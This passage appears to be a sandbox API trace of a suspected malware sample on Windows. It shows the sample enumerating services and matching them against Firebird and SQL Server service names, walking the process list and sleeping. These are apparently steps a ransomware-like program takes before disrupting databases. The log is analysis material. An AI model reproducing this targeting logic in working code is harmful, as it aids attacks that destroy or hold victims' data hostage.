lstrlenW (lpString="NgcSvc") returned 6 [0288.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0288.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0288.700] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0288.700] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0288.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0288.700] lstrlenW (lpString="NlaSvc") returned 6 [0288.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0288.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0288.700] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0288.700] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0288.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0288.700] lstrlenW (lpString="nsi") returned 3 [0288.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0288.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0288.700] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0288.700] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0288.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0288.700] lstrlenW (lpString="PcaSvc") returned 6 [0288.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0288.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0288.700] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0288.700] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0288.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0288.700] lstrlenW (lpString="PlugPlay") returned 8 [0288.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0288.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0288.700] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0288.700] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0288.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0288.700] lstrlenW (lpString="Power") returned 5 [0288.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0288.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0288.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0288.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0288.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0288.701] lstrlenW (lpString="ProfSvc") returned 7 [0288.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0288.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0288.701] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0288.701] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0288.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0288.701] lstrlenW (lpString="RpcEptMapper") returned 12 [0288.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0288.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0288.701] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0288.701] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0288.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0288.701] lstrlenW (lpString="RpcSs") returned 5 [0288.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0288.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0288.701] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0288.701] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0288.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0288.701] lstrlenW (lpString="SamSs") returned 5 [0288.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0288.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0288.701] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0288.701] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0288.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0288.701] lstrlenW (lpString="Schedule") returned 8 [0288.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0288.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0288.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0288.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0288.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0288.702] lstrlenW (lpString="SecurityHealthService") returned 21 [0288.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0288.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0288.702] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0288.702] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0288.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0288.702] lstrlenW (lpString="SENS") returned 4 [0288.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0288.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0288.713] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0288.713] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0288.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0288.713] lstrlenW (lpString="ShellHWDetection") returned 16 [0288.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0288.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0288.713] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0288.713] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0288.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0288.713] lstrlenW (lpString="Spooler") returned 7 [0288.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0288.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0288.714] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0288.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0288.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0288.714] lstrlenW (lpString="SSDPSRV") returned 7 [0288.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0288.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0288.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0288.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0288.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0288.714] lstrlenW (lpString="StateRepository") returned 15 [0288.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0288.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0288.714] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0288.714] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0288.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0288.714] lstrlenW (lpString="SysMain") returned 7 [0288.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0288.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0288.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0288.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0288.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0288.714] lstrlenW (lpString="SystemEventsBroker") returned 18 [0288.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0288.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0288.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0288.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0288.714] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x466fff8 | out: hHeap=0x6e0000) returned 1 [0288.714] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4d4 [0288.717] Process32FirstW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.718] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0288.718] lstrlenW (lpString="System") returned 6 [0288.718] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0288.719] lstrlenW (lpString="smss.exe") returned 8 [0288.719] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0288.720] lstrlenW (lpString="csrss.exe") returned 9 [0288.720] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0288.720] lstrlenW (lpString="wininit.exe") returned 11 [0288.720] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0288.721] lstrlenW (lpString="csrss.exe") returned 9 [0288.721] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0288.722] lstrlenW (lpString="winlogon.exe") returned 12 [0288.722] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0288.722] lstrlenW (lpString="services.exe") returned 12 [0288.723] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0288.723] lstrlenW (lpString="lsass.exe") returned 9 [0288.723] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0288.724] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0288.724] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0288.725] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0288.725] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.725] lstrlenW (lpString="svchost.exe") returned 11 [0288.725] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.726] lstrlenW (lpString="svchost.exe") returned 11 [0288.726] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0288.727] lstrlenW (lpString="dwm.exe") returned 7 [0288.727] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.727] lstrlenW (lpString="svchost.exe") returned 11 [0288.727] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.728] lstrlenW (lpString="svchost.exe") returned 11 [0288.728] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.729] lstrlenW (lpString="svchost.exe") returned 11 [0288.729] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.729] lstrlenW (lpString="svchost.exe") returned 11 [0288.730] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.730] lstrlenW (lpString="svchost.exe") returned 11 [0288.730] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.731] lstrlenW (lpString="svchost.exe") returned 11 [0288.731] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.732] lstrlenW (lpString="svchost.exe") returned 11 [0288.732] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.732] lstrlenW (lpString="svchost.exe") returned 11 [0288.732] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.733] lstrlenW (lpString="svchost.exe") returned 11 [0288.733] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.734] lstrlenW (lpString="svchost.exe") returned 11 [0288.734] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0288.734] lstrlenW (lpString="spoolsv.exe") returned 11 [0288.734] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0288.735] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0288.735] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0288.736] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0288.736] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0288.736] lstrlenW (lpString="Memory Compression") returned 18 [0288.736] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.737] lstrlenW (lpString="svchost.exe") returned 11 [0288.737] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0288.738] lstrlenW (lpString="audiodg.exe") returned 11 [0288.738] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0288.738] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0288.739] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0288.740] lstrlenW (lpString="sihost.exe") returned 10 [0288.740] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.741] lstrlenW (lpString="svchost.exe") returned 11 [0288.741] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0288.741] lstrlenW (lpString="taskhostw.exe") returned 13 [0288.741] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0288.742] lstrlenW (lpString="msoia.exe") returned 9 [0288.742] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0288.743] lstrlenW (lpString="explorer.exe") returned 12 [0288.743] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0288.743] lstrlenW (lpString="SearchUI.exe") returned 12 [0288.743] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0288.744] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0288.744] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0288.745] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0288.745] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0288.745] lstrlenW (lpString="1csrss.exe") returned 10 [0288.745] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.746] lstrlenW (lpString="svchost.exe") returned 11 [0288.746] Process32NextW (in: hSnapshot=0x4d4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0288.747] CloseHandle (hObject=0x4d4) returned 1 [0288.748] Sleep (dwMilliseconds=0x1f4) [0289.254] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddc50 [0289.255] EnumServicesStatusExW (in: hSCManager=0x7ddc50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0289.255] GetLastError () returned 0xea [0289.255] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x466fff8 [0289.255] EnumServicesStatusExW (in: hSCManager=0x7ddc50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x466fff8, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x466fff8, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0289.256] CloseServiceHandle (hSCObject=0x7ddc50) returned 1 [0289.256] lstrlenW (lpString="AppXSvc") returned 7 [0289.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0289.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0289.256] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0289.256] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0289.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0289.256] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0289.256] lstrcmpiW 